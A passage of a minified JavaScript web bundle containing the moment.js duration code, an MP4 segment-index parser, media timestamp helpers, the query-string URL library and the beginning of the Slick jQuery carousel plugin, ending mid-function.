Hi=Ri("ms"),Fi=Ri("s"),Bi=Ri("m"),Ui=Ri("h"),Wi=Ri("d"),zi=Ri("w"),qi=Ri("M"),Vi=Ri("Q"),Ji=Ri("y"),Gi=Hi;function Ki(e){return function(){return this.isValid()?this._data[e]:NaN}}var Xi=Ki("milliseconds"),Zi=Ki("seconds"),Qi=Ki("minutes"),en=Ki("hours"),tn=Ki("days"),nn=Ki("months"),rn=Ki("years"),sn=Math.round,an={ss:44,s:45,m:45,h:22,d:26,w:null,M:11};function on(e,t,i,n,r){return r.relativeTime(t||1,!!i,e,n)}var ln=Math.abs;function un(e){return(e>0)-(e<0)||+e}function cn(){if(!this.isValid())return this.localeData().invalidDate();var e,t,i,n,r,s,a,o,l=ln(this._milliseconds)/1e3,u=ln(this._days),c=ln(this._months),d=this.asSeconds();return d?(e=de(l/60),t=de(e/60),l%=60,e%=60,i=de(c/12),c%=12,n=l?l.toFixed(3).replace(/\.?0+$/,""):"",r=d<0?"-":"",s=un(this._months)!==un(d)?"-":"",a=un(this._days)!==un(d)?"-":"",o=un(this._milliseconds)!==un(d)?"-":"",r+"P"+(i?s+i+"Y":"")+(c?s+c+"M":"")+(u?a+u+"D":"")+(t||e||l?"T":"")+(t?o+t+"H":"")+(e?o+e+"M":"")+(l?o+n+"S":"")):"P0D"}var dn=Ht.prototype;return dn.isValid=function(){return this._isValid},dn.abs=function(){var e=this._data;return this._milliseconds=Oi(this._milliseconds),this._days=Oi(this._days),this._months=Oi(this._months),e.milliseconds=Oi(e.milliseconds),e.seconds=Oi(e.seconds),e.minutes=Oi(e.minutes),e.hours=Oi(e.hours),e.months=Oi(e.months),e.years=Oi(e.years),this},dn.add=function(e,t){return Yi(this,e,t,1)},dn.subtract=function(e,t){return Yi(this,e,t,-1)},dn.as=function(e){if(!this.isValid())return NaN;var t,i,n=this._milliseconds;if("month"===(e=H(e))||"quarter"===e||"year"===e)switch(t=this._days+n/864e5,i=this._months+ji(t),e){case"month":return i;case"quarter":return i/3;case"year":return i/12}else switch(t=this._days+Math.round(Ni(this._months)),e){case"week":return t/7+n/6048e5;case"day":return t+n/864e5;case"hour":return 24*t+n/36e5;case"minute":return 1440*t+n/6e4;case"second":return 86400*t+n/1e3;case"millisecond":return Math.floor(864e5*t)+n;default:throw new Error("Unknown unit "+e)}},dn.asMilliseconds=Hi,dn.asSeconds=Fi,dn.asMinutes=Bi,dn.asHours=Ui,dn.asDays=Wi,dn.asWeeks=zi,dn.asMonths=qi,dn.asQuarters=Vi,dn.asYears=Ji,dn.valueOf=Gi,dn._bubble=function(){var e,t,i,n,r,s=this._milliseconds,a=this._days,o=this._months,l=this._data;return s>=0&&a>=0&&o>=0||s<=0&&a<=0&&o<=0||(s+=864e5*$i(Ni(o)+a),a=0,o=0),l.milliseconds=s%1e3,e=de(s/1e3),l.seconds=e%60,t=de(e/60),l.minutes=t%60,i=de(t/60),l.hours=i%24,a+=de(i/24),o+=r=de(ji(a)),a-=$i(Ni(r)),n=de(o/12),o%=12,l.days=a,l.months=o,l.years=n,this},dn.clone=function(){return Xt(this)},dn.get=function(e){return e=H(e),this.isValid()?this[e+"s"]():NaN},dn.milliseconds=Xi,dn.seconds=Zi,dn.minutes=Qi,dn.hours=en,dn.days=tn,dn.weeks=function(){return de(this.days()/7)},dn.months=nn,dn.years=rn,dn.humanize=function(e,t){if(!this.isValid())return this.localeData().invalidDate();var i,n,r=!1,s=an;return"object"==typeof e&&(t=e,e=!1),"boolean"==typeof e&&(r=e),"object"==typeof t&&(s=Object.assign({},an,t),null!=t.s&&null==t.ss&&(s.ss=t.s-1)),n=function(e,t,i,n){var r=Xt(e).abs(),s=sn(r.as("s")),a=sn(r.as("m")),o=sn(r.as("h")),l=sn(r.as("d")),u=sn(r.as("M")),c=sn(r.as("w")),d=sn(r.as("y")),h=s<=i.ss&&["s",s]||s<i.s&&["ss",s]||a<=1&&["m"]||a<i.m&&["mm",a]||o<=1&&["h"]||o<i.h&&["hh",o]||l<=1&&["d"]||l<i.d&&["dd",l];return null!=i.w&&(h=h||c<=1&&["w"]||c<i.w&&["ww",c]),(h=h||u<=1&&["M"]||u<i.M&&["MM",u]||d<=1&&["y"]||["yy",d])[2]=t,h[3]=+e>0,h[4]=n,on.apply(null,h)}(this,!r,s,i=this.localeData()),r&&(n=i.pastFuture(+this,n)),i.postformat(n)},dn.toISOString=cn,dn.toString=cn,dn.toJSON=cn,dn.locale=oi,dn.localeData=ui,dn.toIsoString=S("toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)",cn),dn.lang=li,$("X",0,0,"unix"),$("x",0,0,"valueOf"),le("x",ie),le("X",/[+-]?\d+(\.\d{1,3})?/),fe("X",(function(e,t,i){i._d=new Date(1e3*parseFloat(e))})),fe("x",(function(e,t,i){i._d=new Date(he(e))})),r.version="2.30.1",t=Yt,r.fn=Ci,r.min=function(){return Nt("isBefore",[].slice.call(arguments,0))},r.max=function(){return Nt("isAfter",[].slice.call(arguments,0))},r.now=function(){return Date.now?Date.now():+new Date},r.utc=f,r.unix=function(e){return Yt(1e3*e)},r.months=function(e,t){return Ai(e,t,"months")},r.isDate=d,r.locale=mt,r.invalid=_,r.duration=Xt,r.isMoment=T,r.weekdays=function(e,t,i){return Ii(e,t,i,"weekdays")},r.parseZone=function(){return Yt.apply(null,arguments).parseZone()},r.localeData=_t,r.isDuration=Ft,r.monthsShort=function(e,t){return Ai(e,t,"monthsShort")},r.weekdaysMin=function(e,t,i){return Ii(e,t,i,"weekdaysMin")},r.defineLocale=gt,r.updateLocale=function(e,t){if(null!=t){var i,n,r=ut;null!=ct[e]&&null!=ct[e].parentLocale?ct[e].set(D(ct[e]._config,t)):(null!=(n=ft(e))&&(r=n._config),t=D(r,t),null==n&&(t.abbr=e),(i=new E(t)).parentLocale=ct[e],ct[e]=i),mt(e)}else null!=ct[e]&&(null!=ct[e].parentLocale?(ct[e]=ct[e].parentLocale,e===mt()&&mt(e)):null!=ct[e]&&delete ct[e]);return ct[e]},r.locales=function(){return M(ct)},r.weekdaysShort=function(e,t,i){return Ii(e,t,i,"weekdaysShort")},r.normalizeUnits=H,r.relativeTimeRounding=function(e){return void 0===e?sn:"function"==typeof e&&(sn=e,!0)},r.relativeTimeThreshold=function(e,t){return void 0!==an[e]&&(void 0===t?an[e]:(an[e]=t,"s"===e&&(an.ss=t-1),!0))},r.calendarFormat=function(e,t){var i=e.diff(t,"days",!0);return i<-6?"sameElse":i<-1?"lastWeek":i<0?"lastDay":i<1?"sameDay":i<2?"nextDay":i<7?"nextWeek":"sameElse"},r.prototype=Ci,r.HTML5_FMT={DATETIME_LOCAL:"YYYY-MM-DDTHH:mm",DATETIME_LOCAL_SECONDS:"YYYY-MM-DDTHH:mm:ss",DATETIME_LOCAL_MS:"YYYY-MM-DDTHH:mm:ss.SSS",DATE:"YYYY-MM-DD",TIME:"HH:mm",TIME_SECONDS:"HH:mm:ss",TIME_MS:"HH:mm:ss.SSS",WEEK:"GGGG-[W]WW",MONTH:"YYYY-MM"},r}()},84221:(e,t,i)=>{var n=i(46894).getUint64;e.exports=function(e){var t=new DataView(e.buffer,e.byteOffset,e.byteLength),i={version:e[0],flags:new Uint8Array(e.subarray(1,4)),references:[],referenceId:t.getUint32(4),timescale:t.getUint32(8)},r=12;0===i.version?(i.earliestPresentationTime=t.getUint32(r),i.firstOffset=t.getUint32(r+4),r+=8):(i.earliestPresentationTime=n(e.subarray(r)),i.firstOffset=n(e.subarray(r+8)),r+=16),r+=2;var s=t.getUint16(r);for(r+=2;s>0;r+=12,s--)i.references.push({referenceType:(128&e[r])>>>7,referencedSize:2147483647&t.getUint32(r),subsegmentDuration:t.getUint32(r+4),startsWithSap:!!(128&e[r+8]),sapType:(112&e[r+8])>>>4,sapDeltaTime:268435455&t.getUint32(r+8)});return i}},51489:e=>{var t,i,n,r,s,a,o,l=9e4;t=function(e){return e*l},i=function(e,t){return e*t},n=function(e){return e/l},r=function(e,t){return e/t},s=function(e,i){return t(r(e,i))},a=function(e,t){return i(n(e),t)},o=function(e,t,i){return n(i?e:e-t)},e.exports={ONE_SECOND_IN_TS:l,secondsToVideoTs:t,secondsToAudioTs:i,videoTsToSeconds:n,audioTsToSeconds:r,audioTsToVideoTs:s,videoTsToAudioTs:a,metadataTsToSeconds:o}},46894:e=>{var t=Math.pow(2,32);e.exports={getUint64:function(e){var i,n=new DataView(e.buffer,e.byteOffset,e.byteLength);return n.getBigUint64?(i=n.getBigUint64(0))<Number.MAX_SAFE_INTEGER?Number(i):i:n.getUint32(0)*t+n.getUint32(4)},MAX_UINT32:t}},17563:(e,t,i)=>{"use strict";const n=i(70610),r=i(44020),s=i(80500),a=i(92806);function o(e){if("string"!=typeof e||1!==e.length)throw new TypeError("arrayFormatSeparator must be single character string")}function l(e,t){return t.encode?t.strict?n(e):encodeURIComponent(e):e}function u(e,t){return t.decode?r(e):e}function c(e){return Array.isArray(e)?e.sort():"object"==typeof e?c(Object.keys(e)).sort(((e,t)=>Number(e)-Number(t))).map((t=>e[t])):e}function d(e){const t=e.indexOf("#");return-1!==t&&(e=e.slice(0,t)),e}function h(e){const t=(e=d(e)).indexOf("?");return-1===t?"":e.slice(t+1)}function p(e,t){return t.parseNumbers&&!Number.isNaN(Number(e))&&"string"==typeof e&&""!==e.trim()?e=Number(e):!t.parseBooleans||null===e||"true"!==e.toLowerCase()&&"false"!==e.toLowerCase()||(e="true"===e.toLowerCase()),e}function f(e,t){o((t=Object.assign({decode:!0,sort:!0,arrayFormat:"none",arrayFormatSeparator:",",parseNumbers:!1,parseBooleans:!1},t)).arrayFormatSeparator);const i=function(e){let t;switch(e.arrayFormat){case"index":return(e,i,n)=>{t=/\[(\d*)\]$/.exec(e),e=e.replace(/\[\d*\]$/,""),t?(void 0===n[e]&&(n[e]={}),n[e][t[1]]=i):n[e]=i};case"bracket":return(e,i,n)=>{t=/(\[\])$/.exec(e),e=e.replace(/\[\]$/,""),t?void 0!==n[e]?n[e]=[].concat(n[e],i):n[e]=[i]:n[e]=i};case"comma":case"separator":return(t,i,n)=>{const r="string"==typeof i&&i.includes(e.arrayFormatSeparator),s="string"==typeof i&&!r&&u(i,e).includes(e.arrayFormatSeparator);i=s?u(i,e):i;const a=r||s?i.split(e.arrayFormatSeparator).map((t=>u(t,e))):null===i?i:u(i,e);n[t]=a};default:return(e,t,i)=>{void 0!==i[e]?i[e]=[].concat(i[e],t):i[e]=t}}}(t),n=Object.create(null);if("string"!=typeof e)return n;if(!(e=e.trim().replace(/^[?#&]/,"")))return n;for(const r of e.split("&")){if(""===r)continue;let[e,a]=s(t.decode?r.replace(/\+/g," "):r,"=");a=void 0===a?null:["comma","separator"].includes(t.arrayFormat)?a:u(a,t),i(u(e,t),a,n)}for(const e of Object.keys(n)){const i=n[e];if("object"==typeof i&&null!==i)for(const e of Object.keys(i))i[e]=p(i[e],t);else n[e]=p(i,t)}return!1===t.sort?n:(!0===t.sort?Object.keys(n).sort():Object.keys(n).sort(t.sort)).reduce(((e,t)=>{const i=n[t];return Boolean(i)&&"object"==typeof i&&!Array.isArray(i)?e[t]=c(i):e[t]=i,e}),Object.create(null))}t.extract=h,t.parse=f,t.stringify=(e,t)=>{if(!e)return"";o((t=Object.assign({encode:!0,strict:!0,arrayFormat:"none",arrayFormatSeparator:","},t)).arrayFormatSeparator);const i=i=>t.skipNull&&null==e[i]||t.skipEmptyString&&""===e[i],n=function(e){switch(e.arrayFormat){case"index":return t=>(i,n)=>{const r=i.length;return void 0===n||e.skipNull&&null===n||e.skipEmptyString&&""===n?i:null===n?[...i,[l(t,e),"[",r,"]"].join("")]:[...i,[l(t,e),"[",l(r,e),"]=",l(n,e)].join("")]};case"bracket":return t=>(i,n)=>void 0===n||e.skipNull&&null===n||e.skipEmptyString&&""===n?i:null===n?[...i,[l(t,e),"[]"].join("")]:[...i,[l(t,e),"[]=",l(n,e)].join("")];case"comma":case"separator":return t=>(i,n)=>null==n||0===n.length?i:0===i.length?[[l(t,e),"=",l(n,e)].join("")]:[[i,l(n,e)].join(e.arrayFormatSeparator)];default:return t=>(i,n)=>void 0===n||e.skipNull&&null===n||e.skipEmptyString&&""===n?i:null===n?[...i,l(t,e)]:[...i,[l(t,e),"=",l(n,e)].join("")]}}(t),r={};for(const t of Object.keys(e))i(t)||(r[t]=e[t]);const s=Object.keys(r);return!1!==t.sort&&s.sort(t.sort),s.map((i=>{const r=e[i];return void 0===r?"":null===r?l(i,t):Array.isArray(r)?r.reduce(n(i),[]).join("&"):l(i,t)+"="+l(r,t)})).filter((e=>e.length>0)).join("&")},t.parseUrl=(e,t)=>{t=Object.assign({decode:!0},t);const[i,n]=s(e,"#");return Object.assign({url:i.split("?")[0]||"",query:f(h(e),t)},t&&t.parseFragmentIdentifier&&n?{fragmentIdentifier:u(n,t)}:{})},t.stringifyUrl=(e,i)=>{i=Object.assign({encode:!0,strict:!0},i);const n=d(e.url).split("?")[0]||"",r=t.extract(e.url),s=t.parse(r,{sort:!1}),a=Object.assign(s,e.query);let o=t.stringify(a,i);o&&(o=`?${o}`);let u=function(e){let t="";const i=e.indexOf("#");return-1!==i&&(t=e.slice(i)),t}(e.url);return e.fragmentIdentifier&&(u=`#${l(e.fragmentIdentifier,i)}`),`${n}${o}${u}`},t.pick=(e,i,n)=>{n=Object.assign({parseFragmentIdentifier:!0},n);const{url:r,query:s,fragmentIdentifier:o}=t.parseUrl(e,n);return t.stringifyUrl({url:r,query:a(s,i),fragmentIdentifier:o},n)},t.exclude=(e,i,n)=>{const r=Array.isArray(i)?e=>!i.includes(e):(e,t)=>!i(e,t);return t.pick(e,r,n)}},75974:e=>{e.exports=function(e,t){var i,n=null;try{i=JSON.parse(e,t)}catch(e){n=e}return[n,i]}},29154:(e,t,i)=>{var n,r,s;!function(a){"use strict";r=[i(19755)],n=function(e){var t,i=window.Slick;(t=0,i=function(i,n){var r,s=this;s.defaults={accessibility:!0,adaptiveHeight:!1,appendArrows:e(i),appendDots:e(i),arrows:!0,asNavFor:null,prevArrow:'<button class="slick-prev" aria-label="Previous" type="button">Previous</button>',nextArrow:'<button class="slick-next" aria-label="Next" type="button">Next</button>',autoplay:!1,autoplaySpeed:3e3,centerMode:!1,centerPadding:"50px",cssEase:"ease",customPaging:function(t,i){return e('<button type="button" />').text(i+1)},dots:!1,dotsClass:"slick-dots",draggable:!0,easing:"linear",edgeFriction:.35,fade:!1,focusOnSelect:!1,focusOnChange:!1,infinite:!0,initialSlide:0,lazyLoad:"ondemand",mobileFirst:!1,pauseOnHover:!0,pauseOnFocus:!0,pauseOnDotsHover:!1,respondTo:"window",responsive:null,rows:1,rtl:!1,slide:"",slidesPerRow:1,slidesToShow:1,slidesToScroll:1,speed:500,swipe:!0,swipeToSlide:!1,touchMove:!0,touchThreshold:5,useCSS:!0,useTransform:!0,variableWidth:!1,vertical:!1,verticalSwiping:!1,waitForAnimate:!0,zIndex:1e3},s.initials={animating:!1,dragging:!1,autoPlayTimer:null,currentDirection:0,currentLeft:null,currentSlide:0,direction:1,$dots:null,listWidth:null,listHeight:null,loadIndex:0,$nextArrow:null,$prevArrow:null,scrolling:!1,slideCount:null,slideWidth:null,$slideTrack:null,$slides:null,sliding:!1,slideOffset:0,swipeLeft:null,swiping:!1,$list:null,touchObject:{},transformsEnabled:!1,unslicked:!1},e.extend(s,s.initials),s.activeBreakpoint=null,s.animType=null,s.animProp=null,s.breakpoints=[],s.breakpointSettings=[],s.cssTransitions=!1,s.focussed=!1,s.interrupted=!1,s.hidden="hidden",s.paused=!0,s.positionProp=null,s.respondTo=null,s.rowCount=1,s.shouldClick=!0,s.$slider=e(i),s.$slidesCache=null,s.transformType=null,s.transitionType=null,s.visibilityChange="visibilitychange",s.windowWidth=0,s.windowTimer=null,r=e(i).data("slick")||{},s.options=e.extend({},s.defaults,n,r),s.currentSlide=s.options.initialSlide,s.originalSettings=s.options,void 0!==document.mozHidden?(s.hidden="mozHidden",s.visibilityChange="mozvisibilitychange"):void 0!==document.webkitHidden&&(s.hidden="webkitHidden",s.visibilityChange="webkitvisibilitychange"),s.autoPlay=e.proxy(s.autoPlay,s),s.autoPlayClear=e.proxy(s.autoPlayClear,s),s.autoPlayIterator=e.proxy(s.autoPlayIterator,s),s.changeSlide=e.proxy(s.changeSlide,s),s.clickHandler=e.proxy(s.clickHandler,s),s.selectHandler=e.proxy(s.selectHandler,s),s.setPosition=e.proxy(s.setPosition,s),s.swipeHandler=e.proxy(s.swipeHandler,s),s.dragHandler=e.proxy(s.dragHandler,s),s.keyHandler=e.proxy(s.keyHandler,s),s.instanceUid=t++,s.htmlExpr=/^(?:\s*(<[\w\W]+>)[^>]*)$/,s.registerBreakpoints(),s.init(!0)}).prototype.activateADA=function(){this.$slideTrack.find(".slick-active").attr({"aria-hidden":"false"}).find("a, input, button, select").attr({tabindex:"0"})},i.prototype.addSlide=i.prototype.slickAdd=function(t,i,n){var r=this;if("boolean"==typeof i)n=i,i=null;else if(i<0||i>=r.slideCount)return!1;r.unload(),"number"==typeof i?0===i&&0===r.$slides.length?e(t).appendTo(r.$slideTrack):n?e(t).insertBefore(r.$slides.eq(i)):e(t).insertAfter(r.$slides.eq(i)):!0===n?e(t).prependTo(r.$slideTrack):e(t).appendTo(r.$slideTrack),r.$slides=r.$slideTrack.children(this.options.slide),r.$slideTrack.children(this.options.slide).detach(),r.$slideTrack.append(r.$slides),r.$slides.each((function(t,i){e(i).attr("data-slick-index",t)})),r.$slidesCache=r.$slides,r.reinit()},i.prototype.animateHeight=function(){var e=this;if(1===e.options.slidesToShow&&!0===e.options.adaptiveHeight&&!1===e.options.vertical){var t=e.$slides.eq(e.currentSlide).outerHeight(!0);e.$list.animate({height:t},e.options.speed)}},i.prototype.animateSlide=function(t,i){var n={},r=this;r.animateHeight(),!0===r.options.rtl&&!1===r.options.vertical&&(t=-t),!1===r.transformsEnabled?!1===r.options.vertical?r.$slideTrack.animate({left:t},r.options.speed,r.options.easing,i):r.$slideTrack.animate({top:t},r.options.speed,r.options.easing,i):!1===r.cssTransitions?(!0===r.options.rtl&&(r.currentLeft=-r.currentLeft),e({animStart:r.currentLeft}).animate({animStart:t},{duration:r.options.speed,easing:r.options.easing,step:function(e){e=Math.ceil(e),!1===r.options.vertical?(n[r.animType]="translate("+e+"px, 0px)",r.$slideTrack.css(n)):(n[r.animType]="translate(0px,"+e+"px)",r.$slideTrack.css(n))},complete:function(){i&&i.call()}})):(r.applyTransition(),t=Math.ceil(t),!1===r.options.vertical?n[r.animType]="translate3d("+t+"px, 0px, 0px)":n[r.animType]="translate3d(0px,"+t+"px, 0px)",r.$slideTrack.css(n),i&&setTimeout((function(){r.disableTransition(),i.call()}),r.options.speed))},i.prototype.getNavTarget=function(){var t=this.options.asNavFor;return t&&null!==t&&(t=e(t).not(this.$slider)),t},i.prototype.asNavFor=function(t){var i=this.getNavTarget();null!==i&&"object"==typeof i&&i.each((function(){var i=e(this).slick("getSlick");i.unslicked||i.slideHandler(t,!0)}))},i.prototype.applyTransition=function(e){var t=this,i={};!1===t.options.fade?i[t.transitionType]=t.transformType+" "+t.options.speed+"ms "+t.options.cssEase:i[t.transitionType]="opacity "+t.options.speed+"ms "+t.options.cssEase,!1===t.options.fade?t.$slideTrack.css(i):t.$slides.eq(e).css(i)},i.prototype.autoPlay=function(){var e=this;e.autoPlayClear(),e.slideCount>e.options.slidesToShow&&(e.autoPlayTimer=setInterval(e.autoPlayIterator,e.options.autoplaySpeed))},i.prototype.autoPlayClear=function(){this.autoPlayTimer&&clearInterval(this.autoPlayTimer)},i.prototype.autoPlayIterator=function(){var e=this,t=e.currentSlide+e.options.slidesToScroll;e.paused||e.interrupted||e.focussed||(!1===e.options.infinite&&(1===e.direction&&e.currentSlide+1===e.slideCount-1?e.direction=0:0===e.direction&&(t=e.currentSlide-e.options.slidesToScroll,e.currentSlide-1==0&&(e.direction=1))),e.slideHandler(t))},i.prototype.buildArrows=function(){var t=this;!0===t.options.arrows&&(t.$prevArrow=e(t.options.prevArrow).addClass("slick-arrow"),t.$nextArrow=e(t.options.nextArrow).addClass("slick-arrow"),t.slideCount>t.options.slidesToShow?(t.$prevArrow.removeClass("slick-hidden").removeAttr("aria-hidden tabindex"),t.$nextArrow.removeClass("slick-hidden").removeAttr("aria-hidden tabindex"),t.htmlExpr.test(t.options.prevArrow)&&t.$prevArrow.prependTo(t.options.appendArrows),t.htmlExpr.test(t.options.nextArrow)&&t.$nextArrow.appendTo(t.options.appendArrows),!0!==t.options.infinite&&t.$prevArrow.addClass("slick-disabled").attr("aria-disabled","true")):t.$prevArrow.add(t.$nextArrow).addClass("slick-hidden").attr({"aria-disabled":"true",tabindex:"-1"}))},i.prototype.buildDots=function(){var t,i,n=this;if(!0===n.options.dots&&n.slideCount>n.options.slidesToShow){for(n.$slider.addClass("slick-dotted"),i=e("<ul />").addClass(n.options.dotsClass),t=0;t<=n.getDotCount();t+=1)i.append(e("<li />").append(n.options.customPaging.call(this,n,t)));n.$dots=i.appendTo(n.options.appendDots),n.$dots.find("li").first().addClass("slick-active")}},i.prototype.buildOut=function(){var t=this;t.$slides=t.$slider.children(t.options.slide+":not(.slick-cloned)").addClass("slick-slide"),t.slideCount=t.$slides.length,t.$slides.each((function(t,i){e(i).attr("data-slick-index",t).data("originalStyling",e(i).attr("style")||"")})),t.$slider.addClass("slick-slider"),t.$slideTrack=0===t.slideCount?e('<div class="slick-track"/>').appendTo(t.$slider):t.$slides.wrapAll('<div class="slick-track"/>').parent(),t.$list=t.$slideTrack.wrap('<div class="slick-list"/>').parent(),t.$slideTrack.css("opacity",0),!0!==t.options.centerMode&&!0!==t.options.swipeToSlide||(t.options.slidesToScroll=1),e("img[data-lazy]",t.$slider).not("[src]").addClass("slick-loading"),t.setupInfinite(),t.buildArrows(),t.buildDots(),t.updateDots(),t.setSlideClasses("number"==typeof t.currentSlide?t.currentSlide:0),!0===t.options.draggable&&t.$list.addClass("draggable")},i.prototype.buildRows=function(){var e,t,i,n,r,s,a,o=this;if(n=document.createDocumentFragment(),s=o.$slider.children(),o.options.rows>0){for(a=o.options.slidesPerRow*o.options.rows,r=Math.ceil(s.length/a),e=0;e<r;e++){var l=document.createElement("div");for(t=0;t<o.options.rows;t++){var u=document.createElement("div");for(i=0;i<o.options.slidesPerRow;i++){var c=e*a+(t*o.options.slidesPerRow+i);s.get(c)&&u.appendChild(s.get(c))}l.appendChild(u)}n.appendChild(l)}o.$slider.empty().append(n),o.$slider.children().children().children().css({width:100/o.options.slidesPerRow+"%",display:"inline-block"})}},i.prototype.checkResponsive=function(t,i){var n,r,s,a=this,o=!1,l=a.$slider.width(),u=window.innerWidth||e(window).width();if("window"===a.respondTo?s=u:"slider"===a.respondTo?s=l:"min"===a.respondTo&&(s=Math.min(u,l)),a.options.responsive&&a.options.responsive.length&&null!==a.options.responsive){for(n in r=null,a.breakpoints)a.breakpoints.hasOwnProperty(n)&&(!1===a.originalSettings.mobileFirst?s<a.breakpoints[n]&&(r=a.breakpoints[n]):s>a.breakpoints[n]&&(r=a.breakpoints[n]));null!==r?null!==a.activeBreakpoint?(r!==a.activeBreakpoint||i)&&(a.activeBreakpoint=r,"unslick"===a.breakpointSettings[r]?a.unslick(r):(a.options=e.extend({},a.originalSettings,a.breakpointSettings[r]),!0===t&&(a.currentSlide=a.options.initialSlide),a.refresh(t)),o=r):(a.activeBreakpoint=r,"unslick"===a.breakpointSettings[r]?a.unslick(r):(a.options=e.extend({},a.originalSettings,a.breakpointSettings[r]),!0===t&&(a.currentSlide=a.options.initialSlide),a.refresh(t)),o=r):null!==a.activeBreakpoint&&(a.activeBreakpoint=null,a.options=a.originalSettings,!0===t&&(a.currentSlide=a.options.initialSlide),a.refresh(t),o=r),t||!1===o||a.$slider.trigger("breakpoint",[a,o])}},i.prototype.changeSlide=function(t,i){var n,r,s=this,a=e(t.currentTarget);switch(a.is("a")&&t.preventDefault(),a.is("li")||(a=a.closest("li")),n=s.slideCount%s.options.slidesToScroll!=0?0:(s.slideCount-s.currentSlide)%s.options.slidesToScroll,t.data.message){case"previous":r=0===n?s.options.slidesToScroll:s.options.slidesToShow-n,s.slideCount>s.options.slidesToShow&&s.slideHandler(s.currentSlide-r,!1,i);break;case"next":r=0===n?s.options.slidesToScroll:n,s.slideCount>s.options.slidesToShow&&s.slideHandler(s.currentSlide+r,!1,i);break;case"index":var o=0===t.data.index?0:t.data.index||a.index()*s.options.slidesToScroll;s.slideHandler(s.checkNavigable(o),!1,i),a.children().trigger("focus");break;default:return}},i.prototype.checkNavigable=function(e){var t,i;if(i=0,e>(t=this.getNavigableIndexes())[t.length-1])e=t[t.length-1];else for(var n in t){if(e<t[n]){e=i;break}i=t[n]}return e},i.prototype.cleanUpEvents=function(){var t=this;t.options.dots&&null!==t.$dots&&(e("li",t.$dots).off("click.slick",t.changeSlide).off("mouseenter.slick",e.proxy(t.interrupt,t,!0)).off("mouseleave.slick",e.proxy(t.interrupt,t,!1)),!0===t.options.accessibility&&t.$dots.off("keydown.slick",t.keyHandler)),t.$slider.off("focus.slick blur.slick"),!0===t.options.arrows&&t.slideCount>t.options.slidesToShow&&(t.$prevArrow&&t.$prevArrow.off("click.slick",t.changeSlide),t.$nextArrow&&t.$nextArrow.off("click.slick",t.changeSlide),!0===t.options.accessibility&&(t.$prevArrow&&t.$prevArrow.off("keydown.slick",t.keyHandler),t.$nextArrow&&t.$nextArrow.off("keydown.slick",t.keyHandler))),t.$list.off("touchstart.slick mousedown.slick",t.swipeHandler),t.$list.off("touchmove.slick mousemove.slick",t.swipeHandler),t.$list.off("touchend.slick mouseup.slick",t.swipeHandler),t.$list.off("touchcancel.slick mouseleave.slick",t.swipeHandler),t.$list.off("click.slick",t.clickHandler),e(document).off(t.visibilityChange,t.visibility),t.cleanUpSlideEvents(),!0===t.options.accessibility&&t.$list.off("keydown.slick",t.keyHandler),!0===t.options.focusOnSelect&&e(t.$slideTrack).children().off("click.slick",t.selectHandler),e(window).off("orientationchange.slick.slick-"+t.instanceUid,t.orientationChange),e(window).off("resize.slick.slick-"+t.instanceUid,t.resize),e("[draggable!=true]",t.$slideTrack).off("dragstart",t.preventDefault),e(window).off("load.slick.slick-"+t.instanceUid,t.setPosition)},i.prototype.cleanUpSlideEvents=function(){var t=this;t.$list.off("mouseenter.slick",e.proxy(t.interrupt,t,!0)),t.$list.off("mouseleave.slick",e.proxy(t.interrupt,t,!1))},i.prototype.cleanUpRows=function(){var e,t=this;t.options.rows>0&&((e=t.$slides.children().children()).removeAttr("style"),t.$slider.empty().append(e))},i.prototype.clickHandler=function(e){!1===this.shouldClick&&(e.stopImmediatePropagation(),e.stopPropagation(),e.preventDefault())},i.prototype.destroy=function(t){var i=this;i.autoPlayClear(),i.touchObject={},i.cleanUpEvents(),e(".slick-cloned",i.$slider).detach(),i.$dots&&i.$dots.remove(),i.$prevArrow&&i.$prevArrow.length&&(i.$prevArrow.removeClass("slick-disabled slick-arrow slick-hidden").removeAttr("aria-hidden aria-disabled tabindex").css("display",""),i.htmlExpr.test(i.options.prevArrow)&&i.$prevArrow.remove()),i.$nextArrow&&i.$nextArrow.length&&(i.$nextArrow.removeClass("slick-disabled slick-arrow slick-hidden").removeAttr("aria-hidden aria-disabled tabindex").css("display",""),i.htmlExpr.test(i.options.nextArrow)&&i.$nextArrow.remove()),i.$slides&&(i.$slides.removeClass("slick-slide slick-active slick-center slick-visible slick-current").removeAttr("aria-hidden").removeAttr("data-slick-index").each((function(){e(this).attr("style",e(this).data("originalStyling"))})),i.$slideTrack.children(this.options.slide).detach(),i.$slideTrack.detach(),i.$list.detach(),i.$slider.append(i.$slides)),i.cleanUpRows(),i.$slider.removeClass("slick-slider"),i.$slider.removeClass("slick-initialized"),i.$slider.removeClass("slick-dotted"),i.unslicked=!0,t||i.$slider.trigger("destroy",[i])},i.prototype.disableTransition=function(e){var t=this,i={};i[t.transitionType]="",!1===t.options.fade?t.$slideTrack.css(i):t.$slides.eq(e).css(i)},i.prototype.fadeSlide=function(e,t){var i=this;!1===i.cssTransitions?(i.$slides.eq(e).css({zIndex:i.options.zIndex}),i.$slides.eq(e).animate({opacity:1},i.options.speed,i.options.easing,t)):(i.applyTransition(e),i.$slides.eq(e).css({opacity:1,zIndex:i.options.zIndex}),t&&setTimeout((function(){i.disableTransition(e),t.call()}),i.options.speed))},i.prototype.fadeSlideOut=function(e){var t=this;!1===t.cssTransitions?t.$slides.eq(e).animate({opacity:0,zIndex:t.options.zIndex-2},t.options.speed,t.options.easing):(t.applyTransition(e),t.$slides.eq(e).css({opacity:0,zIndex:t.options.zIndex-2}))},i.prototype.filterSlides=i.prototype.slickFilter=function(e){var t=this;null!==e&&(t.$slidesCache=t.$slides,t.unload(),t.$slideTrack.children(this.options.slide).detach(),t.$slidesCache.filter(e).appendTo(t.$slideTrack),t.reinit())},i.prototype.focusHandler=function(){var t=this;t.$slider.off("focus.slick blur.slick").on("focus.slick blur.slick","*",(function(i){i.stopImmediatePropagation();var n=e(this);setTimeout((function(){t.options.pauseOnFocus&&(t.focussed=n.is(":focus"),t.autoPlay())}),0)}))},i.prototype.getCurrent=i.prototype.slickCurrentSlide=function(){return this.currentSlide},i.prototype.getDotCount=function(){var e=this,t=0,i=0,n=0;if(!0===e.options.infinite)if(e.slideCount<=e.options.slidesToShow)++n;else for(;t<e.slideCount;)++n,t=i+e.options.slidesToScroll,i+=e.options.slidesToScroll<=e.options.slidesToShow?e.options.slidesToScroll:e.options.slidesToShow;else if(!0===e.options.centerMode)n=e.slideCount;else 